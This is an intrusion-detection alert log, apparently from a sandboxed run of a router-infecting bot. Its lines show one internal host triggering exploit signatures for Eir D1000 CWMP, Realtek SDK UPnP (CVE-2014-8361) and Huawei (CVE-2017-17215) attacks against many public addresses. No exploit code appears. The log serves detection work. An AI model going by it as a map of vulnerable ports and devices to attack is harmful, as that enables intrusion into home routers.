04/15/24-08:52:49.522980	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	54732	7547	192.168.2.13	2.142.102.62
04/15/24-08:53:50.374100	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	33556	80	192.168.2.13	46.105.160.73
04/15/24-08:53:55.808131	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	54214	7547	192.168.2.13	207.174.148.251
04/15/24-08:52:58.015840	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57594	7547	192.168.2.13	39.25.133.124
04/15/24-08:53:51.021438	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	40854	7547	192.168.2.13	71.210.192.44
04/15/24-08:52:28.359090	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57556	7547	192.168.2.13	14.57.254.144
04/15/24-08:52:42.662259	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40698	52869	192.168.2.13	139.39.192.129
04/15/24-08:53:42.563820	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49004	7547	192.168.2.13	47.149.83.69
04/15/24-08:52:46.362481	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53828	52869	192.168.2.13	34.149.128.155
04/15/24-08:52:56.229698	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43210	7547	192.168.2.13	24.232.34.170
04/15/24-08:52:13.030690	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	55256	7547	192.168.2.13	176.41.141.26
04/15/24-08:53:49.770958	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	38822	7547	192.168.2.13	115.10.27.48
04/15/24-08:52:36.090067	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	40578	7547	192.168.2.13	212.9.102.39
04/15/24-08:53:37.481222	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	41666	7547	192.168.2.13	191.255.165.175
04/15/24-08:53:49.625869	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39838	7547	192.168.2.13	45.33.245.142
04/15/24-08:53:56.354545	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49170	7547	192.168.2.13	115.16.69.175
04/15/24-08:52:46.209392	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53820	52869	192.168.2.13	34.149.128.155
04/15/24-08:53:43.037675	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	43160	80	192.168.2.13	159.69.192.70
04/15/24-08:53:01.155382	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33262	7547	192.168.2.13	119.216.204.195
04/15/24-08:52:20.061574	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51526	7547	192.168.2.13	173.174.90.105
04/15/24-08:52:23.424728	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	54068	7547	192.168.2.13	93.81.145.250
04/15/24-08:53:39.714297	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33208	7547	192.168.2.13	75.167.10.129
04/15/24-08:53:00.630789	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	50580	7547	192.168.2.13	37.105.162.108
04/15/24-08:52:38.140274	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33814	7547	192.168.2.13	181.231.173.27
04/15/24-08:53:51.071711	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	45204	7547	192.168.2.13	115.1.111.23
04/15/24-08:53:49.663939	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	60602	80	192.168.2.13	137.63.70.67
04/15/24-08:52:51.296446	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	38634	7547	192.168.2.13	168.149.18.147
04/15/24-08:53:57.614165	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46560	52869	192.168.2.13	95.14.124.70
04/15/24-08:52:28.228446	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	41780	7547	192.168.2.13	47.155.82.176
04/15/24-08:53:49.905587	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	34566	7547	192.168.2.13	163.191.29.247
04/15/24-08:53:10.686192	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	37826	7547	192.168.2.13	181.41.86.210
04/15/24-08:53:19.017884	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	47234	7547	192.168.2.13	174.113.162.21
04/15/24-08:53:11.081568	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50490	52869	192.168.2.13	164.250.163.134
04/15/24-08:53:04.613392	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	52986	7547	192.168.2.13	181.31.180.65
04/15/24-08:53:30.238825	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35522	7547	192.168.2.13	2.140.1.5
04/15/24-08:53:46.591776	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	41978	7547	192.168.2.13	94.122.51.36
04/15/24-08:52:28.539185	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42244	7547	192.168.2.13	66.61.113.246
04/15/24-08:53:07.896301	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46904	7547	192.168.2.13	125.168.100.247
04/15/24-08:52:28.625311	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43448	7547	192.168.2.13	162.253.102.7
04/15/24-08:52:57.052610	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60110	7547	192.168.2.13	125.138.73.42
04/15/24-08:53:53.075774	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35148	7547	192.168.2.13	183.116.193.44
04/15/24-08:52:52.832440	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	59420	80	192.168.2.13	175.194.152.91
04/15/24-08:52:58.010777	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39718	7547	192.168.2.13	97.108.31.16
04/15/24-08:52:15.859417	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	37568	7547	192.168.2.13	86.189.160.241
04/15/24-08:53:25.914914	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51772	7547	192.168.2.13	191.176.90.210
04/15/24-08:53:28.973127	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	50698	80	192.168.2.13	13.126.135.123
04/15/24-08:53:10.368122	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33238	7547	192.168.2.13	74.134.70.250
04/15/24-08:52:33.176872	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	42266	80	192.168.2.13	91.132.250.238
04/15/24-08:53:21.803307	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	46662	80	192.168.2.13	115.84.252.169
04/15/24-08:53:49.272030	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56396	7547	192.168.2.13	46.61.109.54
04/15/24-08:53:29.817951	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57116	7547	192.168.2.13	86.171.141.228
04/15/24-08:53:42.811109	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35796	7547	192.168.2.13	191.61.178.123
04/15/24-08:52:13.374903	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	55268	7547	192.168.2.13	176.41.141.26
04/15/24-08:52:43.879239	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	35814	80	192.168.2.13	154.55.225.106
04/15/24-08:52:41.648522	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42890	7547	192.168.2.13	92.45.162.26
04/15/24-08:53:29.811623	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42382	7547	192.168.2.13	175.228.147.138
04/15/24-08:52:40.862025	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38160	52869	192.168.2.13	164.250.228.64
04/15/24-08:52:52.053936	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	54852	7547	192.168.2.13	191.54.100.108
04/15/24-08:52:53.142240	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	47674	80	192.168.2.13	13.76.93.10
04/15/24-08:53:12.645035	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59122	7547	192.168.2.13	47.34.64.177
04/15/24-08:53:47.605146	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	37270	7547	192.168.2.13	179.104.77.188
04/15/24-08:52:48.245274	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	35628	80	192.168.2.13	23.204.122.75
04/15/24-08:53:14.961601	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43186	7547	192.168.2.13	125.65.125.29
04/15/24-08:52:51.447588	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46460	7547	192.168.2.13	119.203.76.132
04/15/24-08:53:08.939987	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60990	7547	192.168.2.13	99.250.42.94
04/15/24-08:52:58.829174	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59120	7547	192.168.2.13	31.136.74.211
04/15/24-08:53:16.963613	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	58742	80	192.168.2.13	27.19.253.176
04/15/24-08:52:56.205036	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51994	7547	192.168.2.13	121.169.204.53
04/15/24-08:52:31.380682	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55288	52869	192.168.2.13	160.141.49.1
04/15/24-08:53:51.613250	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	37718	80	192.168.2.13	66.22.57.83
04/15/24-08:52:23.023703	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	34078	7547	192.168.2.13	177.95.223.240
04/15/24-08:53:00.092510	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	34162	80	192.168.2.13	23.7.149.198
04/15/24-08:53:43.789496	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60632	7547	192.168.2.13	183.124.236.206
04/15/24-08:52:43.000264	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36630	7547	192.168.2.13	14.82.7.71
04/15/24-08:53:54.005083	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	45880	7547	192.168.2.13	121.171.208.226
04/15/24-08:53:43.237315	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46024	7547	192.168.2.13	188.138.203.45
04/15/24-08:52:15.785249	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	47714	80	192.168.2.13	142.250.11.94
04/15/24-08:52:52.673217	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	58760	80	192.168.2.13	68.80.251.103
04/15/24-08:53:34.612336	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	60926	80	192.168.2.13	38.60.191.111
04/15/24-08:52:14.532755	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54212	52869	192.168.2.13	164.248.78.18
04/15/24-08:52:49.431346	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60092	7547	192.168.2.13	119.199.32.244
04/15/24-08:53:50.068737	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	41534	7547	192.168.2.13	216.118.152.111
04/15/24-08:52:56.766152	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60092	7547	192.168.2.13	125.138.73.42
04/15/24-08:53:15.451288	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56688	52869	192.168.2.13	138.136.133.160
04/15/24-08:52:55.392966	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35676	7547	192.168.2.13	190.31.147.68
04/15/24-08:53:34.978977	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	36610	80	192.168.2.13	13.59.25.223
04/15/24-08:53:42.407634	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	37264	7547	192.168.2.13	222.101.168.128
04/15/24-08:52:23.278624	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	45238	7547	192.168.2.13	181.164.242.11
04/15/24-08:53:21.524091	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53672	7547	192.168.2.13	99.254.156.230
04/15/24-08:53:47.892444	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51518	7547	192.168.2.13	109.157.45.8
04/15/24-08:52:36.718706	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	47648	7547	192.168.2.13	176.197.62.75
04/15/24-08:53:58.216310	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	52090	80	192.168.2.13	23.203.41.60
04/15/24-08:53:24.886320	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49208	7547	192.168.2.13	183.122.143.163
04/15/24-08:53:48.240742	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48154	7547	192.168.2.13	190.192.56.69
04/15/24-08:52:20.012831	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56388	7547	192.168.2.13	183.104.133.207
04/15/24-08:53:01.949211	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56106	7547	192.168.2.13	97.108.139.103
04/15/24-08:53:37.439583	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	34572	7547	192.168.2.13	220.117.6.143
04/15/24-08:52:59.821986	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56256	52869	192.168.2.13	160.141.82.82
04/15/24-08:53:02.924995	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	58558	80	192.168.2.13	107.175.235.47
04/15/24-08:53:21.792542	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	59452	80	192.168.2.13	121.5.152.99
04/15/24-08:52:57.161632	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48628	7547	192.168.2.13	94.96.210.170
04/15/24-08:53:48.893069	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	47106	7547	192.168.2.13	105.106.237.219
04/15/24-08:53:49.219085	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	36172	80	192.168.2.13	45.43.195.81
04/15/24-08:52:28.655351	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56648	7547	192.168.2.13	67.0.222.101
04/15/24-08:53:37.451224	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53494	7547	192.168.2.13	118.56.61.19
04/15/24-08:53:42.120594	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49612	7547	192.168.2.13	183.117.159.7
04/15/24-08:52:43.282517	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36202	7547	192.168.2.13	181.132.218.129
04/15/24-08:52:57.804906	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33826	7547	192.168.2.13	152.249.184.17
04/15/24-08:53:29.369169	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39934	7547	192.168.2.13	71.34.5.73
04/15/24-08:53:48.182332	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33442	7547	192.168.2.13	181.167.49.14
04/15/24-08:53:55.585484	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36350	7547	192.168.2.13	187.45.106.253
04/15/24-08:52:43.900423	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	42236	80	192.168.2.13	52.85.13.219
04/15/24-08:52:35.621968	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46418	7547	192.168.2.13	115.23.216.29
04/15/24-08:52:41.813495	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42346	7547	192.168.2.13	142.129.49.50
04/15/24-08:53:07.844858	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	36848	80	192.168.2.13	86.149.161.46
04/15/24-08:52:49.844389	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	55696	7547	192.168.2.13	105.158.31.110
04/15/24-08:52:40.725926	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51996	7547	192.168.2.13	220.84.221.187
04/15/24-08:53:21.752978	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53758	7547	192.168.2.13	99.254.156.230
04/15/24-08:53:49.116931	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53606	7547	192.168.2.13	51.191.172.250
04/15/24-08:52:27.603438	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43614	52869	192.168.2.13	208.112.192.208
04/15/24-08:52:13.839921	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43834	7547	192.168.2.13	190.16.125.23
04/15/24-08:52:28.725482	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60884	7547	192.168.2.13	5.167.43.27
04/15/24-08:53:43.151404	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43238	7547	192.168.2.13	175.237.58.152
04/15/24-08:53:56.491642	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33556	7547	192.168.2.13	37.78.64.182
04/15/24-08:53:09.136449	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	38762	7547	192.168.2.13	175.230.240.40
04/15/24-08:52:13.639608	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42640	7547	192.168.2.13	80.111.199.200
04/15/24-08:52:57.557157	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48646	7547	192.168.2.13	94.96.210.170
04/15/24-08:53:00.566240	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51904	7547	192.168.2.13	78.134.22.36
04/15/24-08:52:36.946646	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39182	7547	192.168.2.13	163.123.13.61
04/15/24-08:52:49.905038	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	50484	7547	192.168.2.13	74.141.209.0
04/15/24-08:52:14.135887	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43864	7547	192.168.2.13	190.16.125.23
04/15/24-08:53:34.441017	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	58334	80	192.168.2.13	104.91.185.85
04/15/24-08:53:37.851243	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	34386	80	192.168.2.13	38.63.123.44
04/15/24-08:53:50.478014	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	44734	80	192.168.2.13	3.7.4.160
04/15/24-08:53:07.141454	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56252	52869	192.168.2.13	182.16.188.82
04/15/24-08:53:48.827882	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53582	7547	192.168.2.13	51.191.172.250
04/15/24-08:53:56.071129	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35644	7547	192.168.2.13	14.76.199.217
04/15/24-08:53:51.358678	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	45218	7547	192.168.2.13	115.1.111.23
04/15/24-08:53:04.607640	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57072	7547	192.168.2.13	183.120.90.132
04/15/24-08:53:05.422518	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43730	7547	192.168.2.13	197.164.11.248
04/15/24-08:53:32.091721	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	38434	7547	192.168.2.13	183.127.205.169
04/15/24-08:53:57.079094	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59580	7547	192.168.2.13	221.151.234.184
04/15/24-08:53:49.749343	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36834	7547	192.168.2.13	58.146.66.66
04/15/24-08:53:03.073696	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	42614	80	192.168.2.13	23.50.27.211
04/15/24-08:53:06.512017	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	44624	80	192.168.2.13	18.163.49.60
04/15/24-08:52:55.714739	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54256	52869	192.168.2.13	101.102.220.137
04/15/24-08:52:36.953699	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42626	7547	192.168.2.13	148.101.85.20
04/15/24-08:53:39.549699	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42646	7547	192.168.2.13	189.18.108.166
04/15/24-08:52:31.211893	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60442	7547	192.168.2.13	89.147.161.158
04/15/24-08:52:14.145537	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39974	7547	192.168.2.13	119.219.242.166
04/15/24-08:52:28.650814	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	54018	80	192.168.2.13	38.6.121.41
04/15/24-08:52:45.886376	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48354	7547	192.168.2.13	211.52.55.208
04/15/24-08:52:58.100492	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46204	7547	192.168.2.13	110.175.37.78
04/15/24-08:52:13.551294	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	50126	7547	192.168.2.13	76.174.225.138
04/15/24-08:53:48.831482	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59386	7547	192.168.2.13	181.170.221.173
04/15/24-08:53:38.466071	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46180	7547	192.168.2.13	68.104.54.228
04/15/24-08:53:00.988503	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59242	7547	192.168.2.13	184.13.54.25
04/15/24-08:53:20.528525	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56806	52869	192.168.2.13	94.121.73.158
04/15/24-08:52:23.658562	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	36214	80	192.168.2.13	54.84.142.208
04/15/24-08:53:24.879500	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	34286	7547	192.168.2.13	14.56.179.111
04/15/24-08:53:42.737841	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51814	7547	192.168.2.13	186.6.161.225
04/15/24-08:52:28.663908	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	32920	80	192.168.2.13	154.22.205.253
04/15/24-08:53:03.199026	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	54514	80	192.168.2.13	184.50.206.210
04/15/24-08:53:46.833126	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	40320	7547	192.168.2.13	175.231.31.157
04/15/24-08:52:58.137411	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33844	7547	192.168.2.13	152.249.184.17
04/15/24-08:52:50.961039	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35306	7547	192.168.2.13	67.55.52.131
04/15/24-08:52:19.931492	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	34488	7547	192.168.2.13	174.110.101.224
04/15/24-08:52:26.550339	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	41602	7547	192.168.2.13	134.16.79.133
04/15/24-08:52:37.701100	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40366	37215	192.168.2.13	213.243.46.192
04/15/24-08:53:07.162838	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	58570	80	192.168.2.13	212.72.14.74
04/15/24-08:53:51.067079	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	50180	7547	192.168.2.13	119.196.52.152
04/15/24-08:53:18.759947	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	47222	7547	192.168.2.13	174.113.162.21
04/15/24-08:53:56.963196	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46028	7547	192.168.2.13	177.244.195.156
04/15/24-08:53:06.524871	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	50958	80	192.168.2.13	188.128.201.14
04/15/24-08:53:46.658708	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56042	7547	192.168.2.13	184.176.27.110
04/15/24-08:53:48.997366	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	40726	7547	192.168.2.13	50.41.160.227
04/15/24-08:53:16.949504	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	58886	80	192.168.2.13	139.196.153.70
04/15/24-08:53:49.221674	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	47130	7547	192.168.2.13	105.106.237.219
04/15/24-08:53:26.996771	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	33406	80	192.168.2.13	5.17.192.77
04/15/24-08:53:01.768697	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	54336	7547	192.168.2.13	213.188.193.170
04/15/24-08:53:18.233917	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59268	7547	192.168.2.13	175.196.224.130
04/15/24-08:52:25.803100	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	54092	7547	192.168.2.13	93.81.145.250
04/15/24-08:52:55.911624	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51976	7547	192.168.2.13	121.169.204.53
04/15/24-08:53:24.815291	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39280	7547	192.168.2.13	47.199.235.25
04/15/24-08:53:16.613221	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	37258	80	192.168.2.13	153.145.78.153
04/15/24-08:53:31.828764	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57190	7547	192.168.2.13	118.211.77.66
04/15/24-08:53:54.819124	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59134	7547	192.168.2.13	91.250.135.25
04/15/24-08:52:36.086803	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	52654	7547	192.168.2.13	14.85.46.227
04/15/24-08:52:16.222719	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48272	7547	192.168.2.13	115.64.234.192
04/15/24-08:53:02.770498	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	60110	80	192.168.2.13	109.2.138.213
04/15/24-08:52:37.852145	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33808	7547	192.168.2.13	181.231.173.27
04/15/24-08:53:56.330279	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	52160	7547	192.168.2.13	181.208.224.85
04/15/24-08:53:29.908020	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	47202	80	192.168.2.13	77.222.60.111
04/15/24-08:53:41.449872	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	48940	80	192.168.2.13	54.204.61.63
04/15/24-08:52:19.683031	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44216	7547	192.168.2.13	99.229.138.80
04/15/24-08:52:19.730232	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56362	7547	192.168.2.13	183.104.133.207
04/15/24-08:53:01.677956	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57836	7547	192.168.2.13	50.40.105.187
04/15/24-08:53:41.995797	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42442	7547	192.168.2.13	174.22.238.162
